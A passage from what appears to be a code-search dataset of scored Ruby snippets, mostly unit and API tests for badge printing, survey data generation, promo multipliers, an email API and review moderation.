\\n #{sixteen_year_old_with_grade.inspect}\"\n\n # TODO What about this situation? Should we be accounting for age in kids that should have a grade?\n #assert (participants_by_grade[\"3: younger_elementary\"].include? six_year_old_without_grade),\n # \"#{participants_by_grade[\"3: younger_elementary\"].inspect} \\n should have included \\n #{six_year_old_without_grade.inspect}\"\n #assert (participants_by_grade[\"4: high_school\"].include? sixteen_year_old_without_grade),\n # \"#{participants_by_grade[\"4: high_school\"].inspect} \\n should have included \\n #{sixteen_year_old_with_grade.inspect}\"\n\n end",
"title": ""
},
{
"docid": "03ad5bfa40e0b29fb89189723d4f2d0e",
"score": "0.5355463",
"text": "def printer(attendees)\n resultOne = batch_badge_creator(attendees)\n resultOne.each do |guest|\n puts guest \n end\n result = assign_rooms(attendees)\n result.each do |numbers|\n puts numbers\n end\nend",
"title": ""
},
{
"docid": "a228e9c01113184393513dd9a4090a95",
"score": "0.53447574",
"text": "def test_get_participants_basic_success\n\n client = create_mock_client\n refute_nil client, \"Client object couldn't be created.\"\n\n stub_request(:get, mock_uri('GroupCalls', UUID, 'Participants'))\n .to_return(status: 200, body: { 'Success' => true,\n 'Message' => \"Operation succeeded\",\n 'ApiId' => API_ID,\n 'Participants' => [{ 'Id' => 15,\n 'Name' => 'somebody',\n 'Number' => PHONE_NUMBERS[0] },\n { 'Id' => 29,\n 'Name' => 'nobody',\n 'Number' => \"91XXXXXXYYYY\" }] }.to_json)\n\n status, participants = client.group_call.get_participants(UUID)\n refute_nil status, \"No status object returned.\"\n assert status.success, \"Status did not indicate success: \" + status.message\n refute_nil participants, \"No participant list returned.\"\n assert_equal 2, participants.length, \"Participant list length isn't correct.\"\n assert_equal 15, participants[0].id, \"Participant 1 ID doesn't match.\"\n assert_equal 'somebody', participants[0].name, \"Participant 1 name doesn't match.\"\n assert_equal PHONE_NUMBERS[0], participants[0].number, \"Participant 1 number doesn't match.\"\n assert_equal 29, participants[1].id, \"Participant 2 ID doesn't match.\"\n assert_equal 'nobody', participants[1].name, \"Participant 2 name doesn't match.\"\n assert_equal '91XXXXXXYYYY', participants[1].number, \"Participant 2 number doesn't match.\"\n\n end",
"title": ""
},
{
"docid": "ac86c1e326014d4459d36dbfb93cbd11",
"score": "0.5343512",
"text": "def test_notify_instructor\r\n\r\n @[email protected]\r\n assert_equal ResponseHelper.notify_instructor(@response2,@response1,@questionnaire1,18,1) ,nil\r\n #assert_equal ResponseHelper.notify_instructor(@response2,@response1,@questionnaire1,18,0) ,<\"Date: Sat, 20 Oct 2012 22:37:11 -0400\\nFrom: [email protected]\\nTo: [email protected]\\nSubject: Expertiza Notification: A review score is outside the acceptable range\\nMime-Version: 1.0\\nContent-Type: text/html; charset=utf-8\\n\\nHi Madalyn Keeling,<br/>\\n\\n<p>\\nArchibald Hirthe has just submitted a review of Mrs. Karli Kozey. The score on this review differs from the\\nprevious average score by more than the threshold of 15%. The new score is 50.00%, compared\\nto a current average of Inf%. It might be advisable to look over all the reviews of this work to\\ndetermine if any of them are out of line, and if so, to notify the reviewer.\\n</p>\\n\\n<BR/>\\nAssignment: Wiki 1\\n<BR/>\\n\\n\\n<hr>\\n\\nThis message has been generated by <A HREF=\\\"http://expertiza.ncsu.edu\\\">Expertiza</A><BR/>\\nhttp://expertiza.ncsu.edu\">\r\n\r\nend",
"title": ""
},
{
"docid": "0e63eab20875e2918f9b3f3d6a6b440d",
"score": "0.5341515",
"text": "def generate_responses_and_participations\n invitations = SurveyInvitation.all + ExternalSurveyInvitation.all\n \n puts \"generating responses (about #{(RESPONSE_RATE*invitations.size.to_f).floor})...\" \n \n invitations.each_with_index do |invitation,index| \n \n next if rand > PARTICIPATION_RATE # ((PARTICIPATION_RATE*100)% chance of participation)\n \n print_percent_complete(index,invitations.size) \n \n survey = invitation.survey\n questions = survey.questions\n \n # build responses.\n responses = []\n questions.each do |question|\n next if !question.required? && question.parent_question.nil? && rand > RESPONSE_RATE # ((RESPONSE_RATE*100)% chance of answering a question)\n \n case question.response_type\n when 'BaseWageResponse'\n response = Factory.build(\n :base_wage_response, \n :question => question, \n :response => 20000 + rand(60000),\n :unit => ['Annually', 'Hourly'][rand(2)],\n :comments => [nil,Faker::Lorem.sentence][rand(2)])\n \n response.response = WageResponse.units.convert(response.response, {:to => \"Hourly\", :from => \"Annually\"}) if response.unit == \"Hourly\"\n when 'WageResponse'\n response = Factory.build(\n :wage_response, \n :question => question, \n :response => 20000 + rand(60000),\n :unit => ['Annually', 'Hourly'][rand(2)],\n :comments => [nil,Faker::Lorem.sentence][rand(2)])\n \n response.response = WageResponse.units.convert(response.response, {:to => \"Hourly\", :from => \"Annually\"}) if response.unit == \"Hourly\"\n when 'MultipleChoiceResponse'\n response = Factory.build(\n :multiple_choice_response, \n :question => question, \n :response => 0 + rand(question.options.size),\n :comments => [nil,Faker::Lorem.sentence][rand(2)])\n when 'PercentResponse'\n response = Factory.build(\n :percent_response, \n :question => question, \n :response => 20000 + rand(60000),\n :comments => [nil,Faker::Lorem.sentence][rand(2)])\n when 'NumericalResponse'\n response = Factory.build(\n :numerical_response, \n :question => question, \n :response => 20000 + rand(60000),\n :comments => [nil,Faker::Lorem.sentence][rand(2)])\n else\n response = Factory.build(\n :textual_response, \n :question => question, \n :response => Faker::Lorem.sentence,\n :numerical_response => nil)\n end\n\n responses << response\n end\n\n if invitation.is_a?(SurveyInvitation)\n participation = Factory(\n :participation, \n :survey => survey, \n :participant => invitation.invitee, \n :responses => responses)\n else\n participation = Factory(\n :participation, \n :survey => survey, \n :participant => invitation, \n :responses => responses)\n end unless responses.size == 0\n end \n \n puts \"generating responses complete\" \n end",
"title": ""
},
{
"docid": "5d5f247fcc72380a9b4e81b8c3b2e2c7",
"score": "0.5338488",
"text": "def printer(conferencespeakers)\n batch_badge_creator(conferencespeakers).each do |speakername|\n puts speakername\n assign_room(conferencespeakers).each do |conferenceroom|\n puts conferenceroom\n end\nend\nend",
"title": ""
},
{
"docid": "4be294f0a7c5106ae1377137609a86ec",
"score": "0.53290623",
"text": "def batch_badge_creator(attendees)\n \n greeting = []\n attendees.each do |name|\n greeting << badge_maker(name)\n end\n return greeting\n \nend",
"title": ""
},
{
"docid": "45af1fcdd501d96dfda77a0f3ae16d4a",
"score": "0.5322625",
"text": "def check_code_okayness_die_if_necessary(badgecode)\n test_result = BadgeHelper.test_for_errors(badgecode)\n if test_result[:bugs]\n render json: { 'errors' => test_result[:errors] }, status: 400 # Bad Req.\n return false\n end\n true\n end",
"title": ""
},
{
"docid": "63d9769cc3c44bb8ec31044c038a8f77",
"score": "0.53214604",
"text": "def test_scenario4\n \n data = [[File.dirname(__FILE__)+'/data/spam.csv', {\"fields\" => {\"000001\" => {\"optype\": \"text\", \"term_analysis\" => {\"case_sensitive\" => true, \"stem_words\" => true, \"use_stopwords\" => false, \"language\" => \"en\"}}}}, {\"Type\" => \"ham\", \"Message\" => \"Mobile call\"}, [0.51133, 0.00388, 0.00574, 0.00388, 0.00388, 0.00388, 0.00388, 0.00388, 0.00388, 0.00388, 0.00388, 0.44801]],\n [File.dirname(__FILE__)+'/data/spam.csv', {\"fields\" => {\"000001\" => {\"optype\": \"text\", \"term_analysis\" => {\"case_sensitive\" => true, \"stem_words\" => true, \"use_stopwords\" => false, \"language\" => \"en\"}}}}, {\"Type\" => \"ham\", \"Message\" => \"Go until jurong point, crazy.. Available only in bugis n great world la e buffet... Cine there got amore wat...\"}, [0.39188, 0.00643, 0.00264, 0.00643, 0.08112, 0.00264, 0.37352, 0.0115, 0.00707, 0.00327, 0.00264, 0.11086]]\n ]\n puts\n puts \"Scenario: Successfully comparing topic distributions:\"\n\n data.each do |filename, options, data_input, topic_distribution_result|\n puts\n puts \"Given I create a data source uploading a <%s> file\" % filename\n source = @api.create_source(filename, {'name'=> 'source_test', 'project'=> @project[\"resource\"]})\n\n puts \"And I wait until the source is ready\"\n assert_equal(BigML::HTTP_CREATED, source[\"code\"])\n assert_equal(1, source[\"object\"][\"status\"][\"code\"])\n assert_equal(@api.ok(source), true)\n \n puts \"And I update the source with params <%s>\" % JSON.generate(options)\n source = @api.update_source(source, options)\n assert_equal(BigML::HTTP_ACCEPTED, source[\"code\"])\n assert_equal(@api.ok(source), true)\n \n puts \"And I create a dataset\"\n [email protected]_dataset(source)\n\n puts \"And I wait until the dataset is ready\"\n assert_equal(BigML::HTTP_CREATED, dataset[\"code\"])\n assert_equal(1, dataset[\"object\"][\"status\"][\"code\"])\n assert_equal(@api.ok(dataset), true)\n \n puts \"And I create a topic model\"\n [email protected]_topic_model(dataset, {'seed' => 'BigML', 'topicmodel_seed' => 'BigML'})\n puts \"And I wait until the topic model is ready\"\n assert_equal(BigML::HTTP_CREATED, topic_model[\"code\"])\n assert_equal(1, topic_model[\"object\"][\"status\"][\"code\"])\n assert_equal(@api.ok(topic_model), true)\n \n puts \"And I create a local topic model\"\n local_topic_model = BigML::TopicModel.new(topic_model)\n \n puts \"And I create a local topic distribution for <%s>\" % JSON.generate(data_input)\n topic_distribution = @api.create_topic_distribution(topic_model, data_input)\n assert_equal(BigML::HTTP_CREATED, topic_distribution[\"code\"])\n assert_equal(@api.ok(topic_distribution), true)\n \n puts \"Then the local topic distribution is <%s>\" % JSON.generate(topic_distribution_result)\n assert_equal(topic_distribution_result, topic_distribution['object']['topic_distribution']['result'])\n \n puts \"When I create a topic distribution for '<%s>\" % JSON.generate(data_input)\n local_topic_distribution = local_topic_model.distribution(data_input)\n \n puts \"Then the topic distribution is <%s>\" % JSON.generate(topic_distribution_result)\n local_topic_distribution.each_with_index do |topic_dist, index|\n assert_equal(topic_dist[\"probability\"].round(5), topic_distribution_result[index].round(5))\n end \n \n \n end\n \n end",
"title": ""
},
{
"docid": "237fdc8e2b67a8f6dfa3e2241abb9563",
"score": "0.5320345",
"text": "def test_exercise_1124\n verify_method :exercise_1124,\n :with => [{params: [1111111, 1234567], expect: 1},\n {params: [33 * 7, 33 * 23], expect: 33},\n {params: [41 * 13, 41 * 29], expect: 41}]\n\n end",
"title": ""
},
{
"docid": "4d7083b2083f0d253556bda018fe0d42",
"score": "0.53103757",
"text": "def test_promo_multipliers\n # Setup\n assign_http(Config['panda']['host'])\n\n create_new_promo\n assert_response(@response, :success)\n assert(@parsed_response['Promo'])\n promo = @parsed_response['Promo']\n\n add_base_points_for_promo(promo['Id'])\n assert_response(@response, :success)\n assert(@parsed_response['PromoPoints'])\n promo_points = @parsed_response['PromoPoints']\n\n # Start the Promo\n params = {\n 'promo_id' => promo['Id'],\n 'start_date' => (DateTime.parse(promo['StartDate']) - 2.day).to_i,\n }\n\n put '/pros', params\n assert_response(@response, :success)\n assert(@parsed_response['Promo'])\n promo = @parsed_response['Promo']\n\n moderator_id = unique_moderator_id\n start_date = (Time.now - 1.day).to_i\n end_date = (Time.now + rand(10..20).day).to_i\n\n multipliers = []\n addon_points = []\n marketing_messages = []\n promo_points.each do |points_group|\n if points_group['HeadingCode']\n multipliers << {\n 'promo_id' => promo['Id'],\n 'moderator_id' => moderator_id,\n 'start_date' => start_date,\n 'end_date' => end_date,\n 'review_multiplier' => rand(2..5),\n 'photo_multiplier' => rand(2..5),\n 'heading_code' => points_group['HeadingCode'],\n 'heading_text' => points_group['HeadingText']\n }\n\n addon_points << {\n 'promo_id' => promo['Id'],\n 'review_addon_points' => rand(10..20),\n 'photo_addon_points' => rand(10..20),\n 'heading_code' => points_group['HeadingCode'],\n 'start_date' => start_date,\n 'end_date' => end_date,\n 'moderator_id' => moderator_id,\n }\n\n marketing_messages << {\n 'promo_id' => promo['Id'],\n 'moderator_id' => moderator_id,\n 'message' => \"Marketing_Message_#{Common.random_uuid}\",\n 'start_date' => start_date,\n 'end_date' => end_date,\n }\n end\n end\n refute_empty(multipliers)\n refute_empty(addon_points)\n refute_empty(marketing_messages)\n\n # Step 1\n params = {\n 'multipliers' => multipliers,\n 'addon_points' => addon_points,\n 'marketing_messages' => marketing_messages\n }\n\n post '/pros/resources/multi', params\n assert_response(@response, :success)\n refute_empty(@parsed_response['Multipliers'])\n @parsed_response['Multipliers'].each do |multiplier|\n assert(multiplier['Id'], multiplier)\n assert_equal(promo['Id'], multiplier['PromoId'], multiplier)\n assert_equal(moderator_id, multiplier['ModeratorId'], multiplier)\n check = multipliers.find { |m| m['heading_code'] == multiplier['HeadingCode'] }\n assert_equal(start_date, DateTime.parse(multiplier['StartDate']).to_i, multiplier)\n assert_equal(end_date, DateTime.parse(multiplier['EndDate']).to_i, multiplier)\n assert_equal(0, multiplier['Deleted'], multiplier)\n assert_equal('Live', multiplier['Status'], multiplier)\n if check\n assert_equal(check['HeadingText'], multiplier['heading_text'], multiplier)\n assert_equal(check['review_multiplier'], multiplier['ReviewMultiplier'], multiplier)\n assert_equal(check['photo_multiplier'], multiplier['PhotoMultiplier'], multiplier)\n end\n end\n\n refute_empty(@parsed_response['AddonPoints'])\n @parsed_response['AddonPoints'].each do |addon|\n assert(addon['Id'], addon)\n assert_equal(promo['Id'], addon['PromoId'], addon)\n assert_equal(moderator_id, addon['ModeratorId'], addon)\n assert_equal(start_date, DateTime.parse(addon['StartDate']).to_i, addon)\n assert_equal(end_date, DateTime.parse(addon['EndDate']).to_i, addon)\n assert_equal(0, addon['Deleted'], addon)\n assert_equal('Live', addon['Status'], addon)\n check = addon_points.find { |ap| ap['heading_code'] == addon['HeadingCode'] }\n if check\n assert_equal(check['review_addon_points'], addon['ReviewAddonPoints'], addon)\n assert_equal(check['photo_addon_points'], addon['PhotoAddonPoints'], addon)\n end\n end\n\n refute_empty(@parsed_response['MarketingMessages'])\n @parsed_response['MarketingMessages'].each do |message|\n assert(message['Id'], message)\n assert_equal(promo['Id'], message['PromoId'], message)\n assert_equal(moderator_id, message['ModeratorId'], message)\n assert_match('Marketing_Message_', message['Message'], message)\n assert_equal(start_date, DateTime.parse(message['StartDate']).to_i, message)\n assert_equal(end_date, DateTime.parse(message['EndDate']).to_i, message)\n assert_equal(0, message['Deleted'], message)\n assert_equal('Live', message['Status'], message)\n end\n end",
"title": ""
},
{
"docid": "300e17994260a290d67857eb213d23ee",
"score": "0.5307791",
"text": "def test_rspec dir\n cmd = [\"bundle\", \"exec\", \"rspec\", \"--format\", \"documentation\"]\n cmd += [\"--format\", \"RspecJunitFormatter\", \"--out\", \"sponge_log.xml\"] unless presubmit?\n test_exec \"SPEC:#{dir}\", cmd\nend",
"title": ""
},
{
"docid": "5a757b263507d03c5c4850c8c8fe2335",
"score": "0.53049743",
"text": "def printer(attendees)\n batch_badge_creator(attendees).each do |value|\n puts value\n end\n assign_rooms(attendees).each do |value|\n puts value\n end\nend",
"title": ""
},
{
"docid": "8b1d426073d958630a8fda92abeda608",
"score": "0.5303537",
"text": "def test_live_api_secondary_ok\n mock_clients bad_req_code, nil\n name = ENV['TEST_NAME']\n email = ENV['TEST_EMAIL']\n\n assert !name.nil?\n assert !email.nil?\n\n email_addr = EmailAddress.new(name, email)\n email_addr_text = \"#{name} <#{email}>\"\n\n request_hash = {}\n request_hash['from'] = email_addr_text\n request_hash['to'] = email_addr_text\n request_hash['cc'] = email_addr_text\n request_hash['bcc'] = email_addr_text\n request_hash['subject'] = 'Moisiadis Email API Test'\n request_hash['content'] = 'Sent with the Moisiadis Email API using Mailgun'\n\n expected_hash = {}\n expected_hash['from'] = email_addr\n expected_hash['to'] = [email_addr]\n expected_hash['cc'] = [email_addr]\n expected_hash['bcc'] = [email_addr]\n expected_hash['subject'] = request_hash['subject']\n expected_hash['content'] = request_hash['content']\n\n assert_equal expected_response(ok_code, expected_hash), ambiguous_request(request_hash)\n end",
"title": ""
},
{
"docid": "56bd2eb89296b65e445888d64d334b76",
"score": "0.5301016",
"text": "def test_live_api_primary_bad_request\n mock_clients nil, bad_req_code\n name = ENV['TEST_NAME']\n email = ENV['TEST_EMAIL']\n\n assert !name.nil?\n assert !email.nil?\n\n email_addr = EmailAddress.new(name, email)\n email_addr_text = \"#{name} <#{email}>\"\n\n request_hash = {}\n request_hash['from'] = nil\n request_hash['to'] = email_addr_text\n request_hash['cc'] = email_addr_text\n request_hash['bcc'] = email_addr_text\n request_hash['subject'] = 'Moisiadis Email API Test'\n request_hash['content'] = 'Sent with the Moisiadis Email API using Sendgrid'\n\n expected_hash = {}\n expected_hash['from'] = nil\n expected_hash['to'] = [email_addr]\n expected_hash['cc'] = [email_addr]\n expected_hash['bcc'] = [email_addr]\n expected_hash['subject'] = request_hash['subject']\n expected_hash['content'] = request_hash['content']\n\n assert_equal expected_response(bad_req_code, expected_hash), ambiguous_request(request_hash)\n end",
"title": ""
},
{
"docid": "49d24b720cb0eefb6ea944f4910efda5",
"score": "0.5299199",
"text": "def test_list_browser_breakdown_for_all_requests\n create_payload_1\n create_payload_2\n create_payload_3\n expected = [\"Firefox\", \"Safari\"]\n assert_equal expected, UserSystem.browser_breakdown.sort\n end",
"title": ""
},
{
"docid": "fec0a0ddce9535ad37f568850b44ab36",
"score": "0.52950674",
"text": "def test_promo_multipliers\n # Setup\n assign_http(Config['panda']['host'])\n\n create_new_promo\n assert_response(@response, :success)\n assert(@parsed_response['Promo'])\n promo = @parsed_response['Promo']\n\n add_base_points_for_promo(promo['Id'])\n assert_response(@response, :success)\n assert(@parsed_response['PromoPoints'])\n promo_points = @parsed_response['PromoPoints']\n\n # Start the Promo\n params = {\n 'promo_id' => promo['Id'],\n 'start_date' => (DateTime.parse(promo['StartDate']) - 2.day).to_i,\n }\n\n put '/pros', params\n assert_response(@response, :success)\n assert(@parsed_response['Promo'])\n promo = @parsed_response['Promo']\n\n # Step 1\n params = { 'promo_id' => promo['Id'] }\n\n get '/pros/multipliers', params\n assert_response(@response, :success)\n assert_empty(@parsed_response['PromoMultipliers'])\n\n # Step 2\n moderator_id = unique_moderator_id\n start_date = (Time.now - 1.day).to_i\n end_date = (Time.now + rand(10..20).day).to_i\n\n uber_cat = 'uber cat string'\n multipliers = []\n promo_points.each do |points_group|\n if points_group['HeadingCode']\n multiplier = {\n 'promo_id' => promo['Id'],\n 'moderator_id' => moderator_id,\n 'start_date' => start_date,\n 'end_date' => end_date,\n 'review_multiplier' => rand(2..5),\n 'photo_multiplier' => rand(2..5),\n 'heading_code' => points_group['HeadingCode'],\n 'heading_text' => points_group['HeadingText'],\n 'uber_cat' => uber_cat\n }\n\n multipliers << multiplier\n end\n end\n multiplier = multipliers.pop\n all_multipliers = multipliers\n all_multipliers << multiplier\n\n params = {\n 'promo_id' => promo['Id'],\n 'promo_multipliers' => multipliers\n }\n\n post '/pros/multipliers/multi', params\n assert_response(@response, :success)\n refute_empty(@parsed_response['PromoMultipliers'])\n promo_multipliers = @parsed_response['PromoMultipliers']\n promo_multipliers.each do |multiplier|\n heading_check = multipliers.find { |m| m['heading_code'] == multiplier['HeadingCode'] }\n if heading_check\n assert_equal(heading_check['heading_text'], multiplier['HeadingText'])\n assert(multiplier['Id'])\n assert_equal(promo['Id'], multiplier['PromoId'])\n assert(multiplier['ReviewMultiplier'].between?(2,5))\n assert(multiplier['PhotoMultiplier'].between?(2,5))\n assert_equal(start_date, DateTime.parse(multiplier['StartDate']).to_i)\n assert_equal(end_date, DateTime.parse(multiplier['EndDate']).to_i)\n assert_equal(DateTime.parse(multiplier['CreatedAt']).to_i, DateTime.parse(multiplier['UpdatedAt']).to_i)\n assert_equal(moderator_id, multiplier['ModeratorId'])\n assert_equal(uber_cat, multiplier['UberCat'])\n assert_equal('Live', multiplier['Status'])\n assert_equal(0, multiplier['Deleted'])\n end\n end\n\n # Step 3\n post '/pros/multipliers', multiplier\n assert_response(@response, :success)\n assert(@parsed_response['PromoMultiplier'])\n promo_multiplier = @parsed_response['PromoMultiplier']\n assert_equal(multiplier['heading_code'], promo_multiplier['HeadingCode'])\n assert_equal(multiplier['heading_text'], promo_multiplier['HeadingText'])\n assert(promo_multiplier['Id'])\n assert_equal(promo['Id'], promo_multiplier['PromoId'])\n assert(promo_multiplier['ReviewMultiplier'].between?(2,5))\n assert(promo_multiplier['PhotoMultiplier'].between?(2,5))\n assert_equal(start_date, DateTime.parse(promo_multiplier['StartDate']).to_i)\n assert_equal(end_date, DateTime.parse(promo_multiplier['EndDate']).to_i)\n assert_equal(DateTime.parse(promo_multiplier['CreatedAt']).to_i, DateTime.parse(promo_multiplier['UpdatedAt']).to_i)\n assert_equal(moderator_id, promo_multiplier['ModeratorId'])\n assert_equal('Live', promo_multiplier['Status'])\n assert_equal(0, promo_multiplier['Deleted'])\n\n # Step 4\n params = { 'promo_id' => promo['Id'] }\n\n get '/pros/multipliers', params\n assert_response(@response, :success)\n refute_empty(@parsed_response['PromoMultipliers'])\n @parsed_response['PromoMultipliers'].each do |multiplier|\n heading_check = all_multipliers.find { |m| m['heading_code'] == multiplier['HeadingCode'] }\n if heading_check\n assert_equal(heading_check['heading_text'], multiplier['HeadingText'])\n assert(multiplier['Id'])\n assert_equal(promo['Id'], multiplier['PromoId'])\n assert(multiplier['ReviewMultiplier'].between?(2,5))\n assert(multiplier['PhotoMultiplier'].between?(2,5))\n assert_equal(start_date, DateTime.parse(multiplier['StartDate']).to_i)\n assert_equal(end_date, DateTime.parse(multiplier['EndDate']).to_i)\n assert_equal(DateTime.parse(multiplier['CreatedAt']).to_i, DateTime.parse(multiplier['UpdatedAt']).to_i)\n assert_equal(moderator_id, multiplier['ModeratorId'])\n assert_equal('Live', multiplier['Status'])\n assert_equal(0, multiplier['Deleted'])\n end\n end\n\n # Step 5\n new_start_date = (Time.now + 5.day).to_i\n review_multiplier = multiplier['review_multiplier'] += 1\n photo_multiplier = multiplier['photo_multiplier'] += 1\n params = multiplier.dup\n params['promo_multiplier_id'] = promo_multiplier['Id']\n params['start_date'] = new_start_date\n params['review_multiplier'] = review_multiplier\n params['photo_multiplier'] = photo_multiplier\n params['uber_cat'] = uber_cat\n\n put '/pros/multipliers', params\n assert_response(@response, :success)\n assert(@parsed_response['PromoMultiplier'])\n update_promo_multiplier = @parsed_response['PromoMultiplier']\n assert_equal(multiplier['heading_code'], update_promo_multiplier['HeadingCode'])\n assert_equal(multiplier['heading_text'], update_promo_multiplier['HeadingText'])\n assert_equal(promo_multiplier['Id'], update_promo_multiplier['Id'])\n assert_equal(promo['Id'], update_promo_multiplier['PromoId'])\n assert_equal(review_multiplier, update_promo_multiplier['ReviewMultiplier'])\n assert_equal(photo_multiplier, update_promo_multiplier['PhotoMultiplier'])\n assert_equal(new_start_date, DateTime.parse(update_promo_multiplier['StartDate']).to_i)\n assert_equal(end_date, DateTime.parse(update_promo_multiplier['EndDate']).to_i)\n assert_equal(DateTime.now.utc.strftime('%Y%m%d').to_i, DateTime.parse(update_promo_multiplier['UpdatedAt']).strftime('%Y%m%d').to_i)\n assert_equal(moderator_id, update_promo_multiplier['ModeratorId'])\n assert_equal(uber_cat, update_promo_multiplier['UberCat'])\n assert_equal('Future', update_promo_multiplier['Status'])\n assert_equal(0, update_promo_multiplier['Deleted'])\n\n # Step 6\n params = {\n 'promo_multiplier_id' => promo_multiplier['Id'],\n 'moderator_id' => moderator_id\n }\n\n delete '/pros/multipliers', params\n assert_response(@response, :success)\n assert(@parsed_response['PromoMultiplier'])\n deleted_promo_multiplier = @parsed_response['PromoMultiplier']\n assert_equal(promo_multiplier['Id'], deleted_promo_multiplier['Id'])\n assert_equal(promo['Id'], deleted_promo_multiplier['PromoId'])\n assert_equal(moderator_id, deleted_promo_multiplier['ModeratorId'])\n assert_equal('Deleted', deleted_promo_multiplier['Status'])\n assert_equal(1, deleted_promo_multiplier['Deleted'])\n\n # Step 7\n multiplier_ids = promo_multipliers.map { |m| m['Id'] }\n\n params = {\n 'promo_multiplier_ids' => multiplier_ids,\n 'moderator_id' => moderator_id\n }\n\n delete '/pros/multipliers/multi', params\n assert_response(@response, :success)\n refute_empty(@parsed_response['PromoMultipliers'])\n @parsed_response['PromoMultipliers'].each do |multiplier|\n assert_equal(promo['Id'], multiplier['PromoId'])\n assert_equal(moderator_id, multiplier['ModeratorId'])\n assert_equal('Deleted', multiplier['Status'])\n assert_equal(1, multiplier['Deleted'])\n end\n end",
"title": ""
},
{
"docid": "f4d369edad5cf601855605e022d778ff",
"score": "0.52914953",
"text": "def test_exercise_1113\n verify_method :exercise_1113,\n :with => [{param: [[0]], expect: [[0]]},\n {param: [[0, 1]],\n expect: [[0],\n [1]]},\n {param: [[0, 1],\n [2, 3]],\n expect: [[0, 2],\n [1, 3]]}]\n\n end",
"title": ""
},
{
"docid": "25475c24b4eedfe6c65aa6cdf3bf1c85",
"score": "0.5288292",
"text": "def test_moderator_fetch_reviews\n # Setup\n @user = setup_user\n @user2 = setup_user\n\n assign_http(Config['turtle']['host'])\n\n headers = { 'Authorization' => \"Bearer #{@user.oauth_token}\" }\n params = { 'promo_id' => @active_promo_id }\n params['promo_team'] = @promo['TeamNames'].sample unless @promo['TeamNames'].empty?\n\n put '/usr', params, headers\n assert_response(@response, :success)\n\n # Step 1\n business_listings = get_promo_listings\n assert(business_listings.length > 1)\n\n # Step 2\n assign_http(Config['panda']['host'])\n\n count = 0\n int_xxids = []\n sources = ['CSE','XX3','XXMOBILE','CSE','XX3','XXMOBILE','CSE','XX3','XXMOBILE']\n business_listings.each do |business|\n break if count > 6\n int_xxids << business['Int_Xxid']\n\n params = {\n 'body' => 'This business is very business-like and I would do business with this business again if I have business with them.',\n 'source' => sources[count],\n 'subject' => 'Review made by API',\n 'value' => rand(1..5),\n 'listing_id' => business['Int_Xxid'],\n 'oauth_token' => @user.oauth_token,\n 'promo_id' => @active_promo_id\n }\n\n put '/usr/reviews', params\n assert_response(@response, :success)\n\n params = {\n 'body' => 'This business is very business-like and I would do business with this business again if I have business with them.',\n 'source' => sources[count],\n 'subject' => 'Review made by API',\n 'value' => rand(1..5),\n 'listing_id' => business['Int_Xxid'],\n 'oauth_token' => @user2.oauth_token,\n }\n\n put '/usr/reviews', params\n assert_response(@response, :success)\n\n count += 1\n end\n\n # Step 3\n # Only Promo Reviews check - include_only_promo_reviews\n params = { 'include_only_promo_reviews' => true }\n\n get '/mod/reviews', params\n assert_response(@response, :success)\n assert(@parsed_response['Reviews'])\n assert_equal(10, @parsed_response['Reviews'].length, @parsed_response)\n @parsed_response['Reviews'].each do |review|\n assert(review['PromoId'], review)\n end\n\n # Default Check - promo id only\n params['promo_id'] = @active_promo_id\n\n get '/mod/reviews', params\n assert_response(@response, :success)\n assert(@parsed_response['Reviews'])\n assert_equal(10, @parsed_response['Reviews'].length, @parsed_response)\n @parsed_response['Reviews'].each do |review|\n assert_equal(@active_promo_id, review['PromoId'],\n \"Expected the review PromoId to match #{@active_promo_id}: #{review}\")\n end\n\n # Default Check - promo id + author user id\n params['author_user_id'] = @user.id\n\n get '/mod/reviews', params\n assert_response(@response, :success)\n assert(@parsed_response['Reviews'])\n assert_equal(count, @parsed_response['Reviews'].length, @parsed_response)\n @parsed_response['Reviews'].each do |review|\n assert_equal(@user.id, review['AuthorUserId'],\n \"Expected the review AuthorUserId to match #{@user.id}: #{review}\")\n end\n\n # Status check - Approved\n params['status'] = 'approved'\n\n get '/mod/reviews', params\n assert_response(@response, :success)\n assert(@parsed_response['Reviews'])\n assert_equal(0, @parsed_response['Reviews'].length, @parsed_response)\n @parsed_response['Reviews'].each do |review|\n assert_equal(0, review['Suppressed'],\n \"Expected the review Suppressed to match 0: #{review}\")\n end\n\n # Status check - Rejected\n params['status'] = 'rejected'\n\n get '/mod/reviews', params\n assert_response(@response, :success)\n assert(@parsed_response['Reviews'])\n assert_equal(0, @parsed_response['Reviews'].length, @parsed_response)\n @parsed_response['Reviews'].each do |review|\n assert_equal(0, review['Suppressed'],\n \"Expected the review Suppressed to match 0: #{review}\")\n end\n\n # Status check - Assigned\n params['status'] = 'assigned'\n\n get '/mod/reviews', params\n assert_response(@response, :success)\n assert(@parsed_response['Reviews'])\n assert_equal(0, @parsed_response['Reviews'].length, @parsed_response)\n @parsed_response['Reviews'].each do |review|\n assert_nil(review['ModeratorId'],\n \"Expected the review ModeratorId to be unassigned: #{review}\")\n assert_equal(0, review['Moderated'],\n \"Expected the review Moderated to match 0: #{review}\")\n end\n\n # Status check - Unassigned\n params['status'] = 'unassigned'\n\n get '/mod/reviews', params\n assert_response(@response, :success)\n assert(@parsed_response['Reviews'])\n assert_equal(count, @parsed_response['Reviews'].length, @parsed_response)\n @parsed_response['Reviews'].each do |review|\n assert_nil(review['ModeratorId'],\n \"Expected the review ModeratorId to be unassigned: #{review}\")\n assert_equal(0, review['Moderated'],\n \"Expected the review Moderated to match 0: #{review}\")\n end\n\n # Limit check\n params = {\n 'promo_id' => @active_promo_id,\n 'h' => 1\n }\n\n get '/mod/reviews', params\n assert_response(@response, :success)\n assert(@parsed_response['Reviews'])\n assert_equal(params['h'], @parsed_response['Reviews'].length, @parsed_response)\n no_offset = @parsed_response['Reviews']\n\n # Offset check\n params['o'] = 1\n\n get '/mod/reviews', params\n assert_response(@response, :success)\n assert(@parsed_response['Reviews'])\n assert_equal(params['h'], @parsed_response['Reviews'].length, @parsed_response)\n no_offset.each do |review|\n refute_match(review, @parsed_response['Reviews'][0])\n end\n\n # Int_Xxid check\n int_xxid = int_xxids[(rand(count))]\n\n params = {\n 'promo_id' => @active_promo_id,\n 'author_user_id' => @user.id,\n 'status' => 'unassigned',\n 'int_xxid' => int_xxid,\n }\n\n get '/mod/reviews', params\n assert_response(@response, :success)\n assert(@parsed_response['Reviews'])\n assert_equal(1, @parsed_response['Reviews'].length, @parsed_response)\n assert_equal(int_xxid.to_i, @parsed_response['Reviews'][0]['Int_Xxid'])\n\n int_xxid = int_xxids[(rand(count))]\n\n # User Email check\n params = {\n 'promo_id' => @active_promo_id,\n 'author_email' => @user.email,\n 'status' => 'unassigned',\n 'int_xxid' => int_xxid,\n 